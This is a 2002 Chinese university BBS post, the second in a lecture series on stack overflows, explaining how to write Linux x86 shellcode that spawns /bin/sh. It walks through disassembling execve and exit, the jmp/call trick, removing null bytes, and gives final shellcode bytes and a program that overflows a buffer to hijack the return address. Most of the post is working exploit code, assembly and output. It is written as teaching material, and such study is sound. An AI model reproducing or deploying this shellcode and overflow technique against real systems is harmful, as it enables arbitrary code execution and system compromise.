荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: boguce (心情如歌), 信区: Security
标  题: 堆栈溢出系列讲座(2)
发信站: 荔园晨风BBS站 (Fri Jan 11 12:24:35 2002), 转信

堆栈溢出系列讲座
                如何书写一个shell code

一:shellcode基本算法分析

在程序中,执行一个shell的程序是这样写的:
shellcode.c
------------------------------------------------------------------------

#include <stdio.h>

void main() {
   char *name[2];

   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}
------------------------------------------------------------------------

execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为
该程序
的argv[i](argv[n-1]=0)的指针数组作为第二个参数,以及(char*) 0作为第三个
参数。

我们来看以看execve的汇编代码:
[nkl10]$ gcc -o shellcode -static shellcode.c
[nkl10]$ gdb shellcode
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>:   pushl  %ebp                     ;
0x80002bd <__execve+1>: movl   %esp,%ebp
                        ;上面是函数头。
0x80002bf <__execve+3>: pushl  %ebx
                        ;保存ebx
0x80002c0 <__execve+4>: movl   $0xb,%eax
                        ;eax=0xb,eax指明第几号系统调用。
0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx
                        ;ebp+8是第一个参数"/bin/sh\0"
0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx
                        ;ebp+12是第二个参数name数组的地址
0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx
                        ;ebp+16是第三个参数空指针的地址。
                        ;name[2-1]内容为NULL,用来存放返回值。
0x80002ce <__execve+18>:        int    $0x80
                        ;执行0xb号系统调用(execve)
0x80002d0 <__execve+20>:        movl   %eax,%edx
                        ;下面是返回值的处理就没有用了。
0x80002d2 <__execve+22>:        testl  %edx,%edx
0x80002d4 <__execve+24>:        jnl    0x80002e6 <__execve+42>
0x80002d6 <__execve+26>:        negl   %edx
0x80002d8 <__execve+28>:        pushl  %edx
0x80002d9 <__execve+29>:        call   0x8001a34
<__normal_errno_location>
0x80002de <__execve+34>:        popl   %edx
0x80002df <__execve+35>:        movl   %edx,(%eax)
0x80002e1 <__execve+37>:        movl   $0xffffffff,%eax
0x80002e6 <__execve+42>:        popl   %ebx
0x80002e7 <__execve+43>:        movl   %ebp,%esp
0x80002e9 <__execve+45>:        popl   %ebp
0x80002ea <__execve+46>:        ret
0x80002eb <__execve+47>:        nop
End of assembler dump.

经过以上的分析,可以得到如下的精简指令算法:
movl   $execve的系统调用号,%eax
movl   "bin/sh\0"的地址,%ebx
movl   name数组的地址,%ecx
movl   name[n-1]的地址,%edx
int    $0x80            ;执行系统调用(execve)

当execve执行成功后,程序shellcode就会退出,/bin/sh将作为子进程继续执行。
可是,
如果我们的execve执行失败,(比如没有/bin/sh这个文件),CPU就会继续执行后
续的
指令,结果不知道跑到哪里去了。所以必须再执行一个exit()系统调用,
结束shellcode.c的执行。

我们来看以看exit(0)的汇编代码:
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>:      pushl  %ebp
0x800034d <_exit+1>:    movl   %esp,%ebp
0x800034f <_exit+3>:    pushl  %ebx
0x8000350 <_exit+4>:    movl   $0x1,%eax        ;1号系统调用
0x8000355 <_exit+9>:    movl   0x8(%ebp),%ebx   ;ebx为参数0
0x8000358 <_exit+12>:   int    $0x80            ;引发系统调用
0x800035a <_exit+14>:   movl   0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>:   movl   %ebp,%esp
0x800035f <_exit+19>:   popl   %ebp
0x8000360 <_exit+20>:   ret
0x8000361 <_exit+21>:   nop
0x8000362 <_exit+22>:   nop
0x8000363 <_exit+23>:   nop
End of assembler dump.


看来exit(0)〕的汇编代码更加简单:
movl   $0x1,%eax        ;1号系统调用
movl   0,%ebx           ;ebx为exit的参数0
int    $0x80            ;引发系统调用

那么总结一下,合成的汇编代码为:
movl   $execve的系统调用号,%eax
movl   "bin/sh\0"的地址,%ebx
movl   name数组的地址,%ecx
movl   name[n-1]的地址,%edx
int    $0x80            ;执行系统调用(execve)
movl   $0x1,%eax        ;1号系统调用
movl   0,%ebx           ;ebx为exit的参数0
int    $0x80            ;执行系统调用(exit)

二:实现一个shellcode

好,我们来实现这个算法。首先我们必须有一个字符串“/bin/sh”,还得有一个
name数组
。我们可以构造它们出来,可是,在shellcode中如何知道它们的地址呢?每一次
程序都是
动态加载,字符串和name数组的地址都不是固定的。

通过JMP和call的结合,黑客们巧妙的解决了这个问题。
------------------------------------------------------------------------

jmp    call的偏移地址           # 2 bytes
popl   %esi                     # 1 byte        //popl出来的是string的地
址。
movl   %esi,array-offset(%esi)  # 3 bytes       //在string+8处构造 name
数组,

                                                //name[0]放 string的地址


movb   $0x0,nullbyteoffset(%esi)# 4 bytes       //string+7处放0作为
string的结
尾。
movl   $0x0,null-offset(%esi)   # 7 bytes       //name[1]放0。
movl   $0xb,%eax                # 5 bytes       //eax=0xb是execve的
syscall代码

movl   %esi,%ebx                # 2 bytes       //ebx=string的地址
leal   array-offset,(%esi),%ecx # 3 bytes       //ecx=name数组的开始地址

leal   null-offset(%esi),%edx   # 3 bytes       //edx=name〔1]的地址
int    $0x80                    # 2 bytes       //int 0x80是sys call
movl   $0x1, %eax               # 5 bytes       //eax=0x1是exit的
syscall代码
movl   $0x0, %ebx               # 5 bytes       //ebx=0是exit的返回值
int    $0x80                    # 2 bytes       //int 0x80是sys call
call   popl 的偏移地址          # 5 bytes       //这里放call,string 的地
址就会

                                                //为返回地址压栈。
/bin/sh 字符串
------------------------------------------------------------------------

首先使用JMP相对地址来跳转到call,执行完call指令,字符串/bin/sh的地址将作
为call的
返回地址压入堆栈。现在来到popl esi,把刚刚压入栈中的字符串地址取出来,就
获得了
字符串的真实地址。然后,在字符串的第8个字节赋0,作为串的结尾。后面8个字
节,构造
name数组(两个整数,八个字节)。

我们可以写shellcode了。先写出汇编源程序。
shellcodeasm.c
------------------------------------------------------------------------

void main() {
__asm__("
        jmp    0x2a                     # 3 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        movb   $0x0,0x7(%esi)           # 4 bytes
        movl   $0x0,0xc(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax               # 5 bytes
        movl   $0x0, %ebx               # 5 bytes
        int    $0x80                    # 2 bytes
        call   -0x2f                    # 5 bytes
        .string \"/bin/sh\"             # 8 bytes
");
}
------------------------------------------------------------------------

编译后,用gdb的
b/bx 〔地址〕
命令可以得到十六进制的表示。
下面,写出测试程序如下:(注意,这个test程序是测试shellcode的基本程序)


test.c
------------------------------------------------------------------------

char shellcode[] =

"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"

"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"

"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
        "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
   int *ret;

   ret = (int *);ret + 2;       //ret 等于main()的返回地址
                                //(+2是因为:有pushl ebp ,否则加1就可以
了。)

   (*ret) = (int)shellcode;     //修改main()的返回地址为shellcode的开
始地
址。

}

------------------------------------------------------------------------

------------------------------------------------------------------------

[nkl10]$ gcc -o test test.c
[nkl10]$ ./test
$ exit
[nkl10]$
------------------------------------------------------------------------

我们通过一个shellcode数组来存放shellcode,当我们把程序(test.c)的返回地
址ret
设置成shellcode数组的开始地址时,程序在返回的时候就会去执行我们的
shellcode,从
而我们得到了一个shell。

运行结果,得到了bsh的提示符$,表明成功的开了一个shell。

这里有必要解释的是,我们把shellcode作为一个全局变量开在了数据段而不是作
为一段
代码。是因为在操作系统中,程序代码段的内容是具有只读属性的。不能修改。而
我们的
代码中movl   %esi,0x8(%esi)等语句都修改了代码的一部分,所以不能放在代码
段。

这个shellcode可以了吗?很遗憾,还差了一点。大家回想一下,在堆栈溢出中,
关键在
于字符串数组的写越界。但是,gets,strcpy等字符串函数在处理字符串的时候,
以"\0"
为字符串结尾。遇\0就结束了写操作。而我们的shellcode串中有大量的\0字符。
因此,
对于gets(name)来说,上面的shellcode是不可行的。我们的shellcode是不能有
\0字符
出现的。

因此,有些指令需要修改一下:
           旧的指令                             新的指令
           --------------------------------------------------------
           movb   $0x0,0x7(%esi)                xorl   %eax,%eax
           molv   $0x0,0xc(%esi)                movb   %eax,0x7(%esi)
                                                movl   %eax,0xc(%esi)
           --------------------------------------------------------
           movl   $0xb,%eax                     movb   $0xb,%al
           --------------------------------------------------------
           movl   $0x1, %eax                    xorl   %ebx,%ebx
           movl   $0x0, %ebx                    movl   %ebx,%eax
                                                inc    %eax
           --------------------------------------------------------

最后的shellcode为:
------------------------------------------------------------------------

char shellcode[]=
00        "\xeb\x1f"                      /* jmp 0x1f              */
02        "\x5e"                          /* popl %esi             */
03        "\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
06        "\x31\xc0"                      /* xorl %eax,%eax        */
08        "\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
0b        "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
0e        "\xb0\x0b"                      /* movb $0xb,%al         */
10        "\x89\xf3"                      /* movl %esi,%ebx        */
12        "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
15        "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
18        "\xcd\x80"                      /* int $0x80             */
1a        "\x31\xdb"                      /* xorl %ebx,%ebx        */
1c        "\x89\xd8"                      /* movl %ebx,%eax        */
1e        "\x40"                          /* inc %eax              */
1f        "\xcd\x80"                      /* int $0x80             */
21        "\xe8\xdc\xff\xff\xff"          /* call -0x24            */
26        "/bin/sh";                      /* .string \"/bin/sh\"   */
------------------------------------------------------------------------


三:利用堆栈溢出获得shell

好了,现在我们已经制造了一次堆栈溢出,写好了一个shellcode。准备工作都已
经作完,
我们把二者结合起来,就写出一个利用堆栈溢出获得shell的程序。
overflow1.c
------------------------------------------------------------------------

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
  char buffer[96];
  int i;
  long *long_ptr = (long *) large_string;

  for (i = 0; i < 32; i++)
    *(long_ptr + i) = (int) buffer;

  for (i = 0; i < strlen(shellcode); i++)
    large_string[i] = shellcode[i];

  strcpy(buffer,large_string);
}
------------------------------------------------------------------------

在执行完strcpy后,堆栈内容如下所示:

内存底部                               内存顶部
           buffer       EBP   ret
<------   [SSS...SSSA ][A   ][A   ]A..A
          ^;buffer
堆栈顶部                               堆栈底部
注:S表示shellcode。
    A表示shellcode的地址。

这样,在执行完strcpy后,overflow。c将从ret取出A作为返回地址,从而执行了
我们的
shellcode。






--
※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.32.40]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店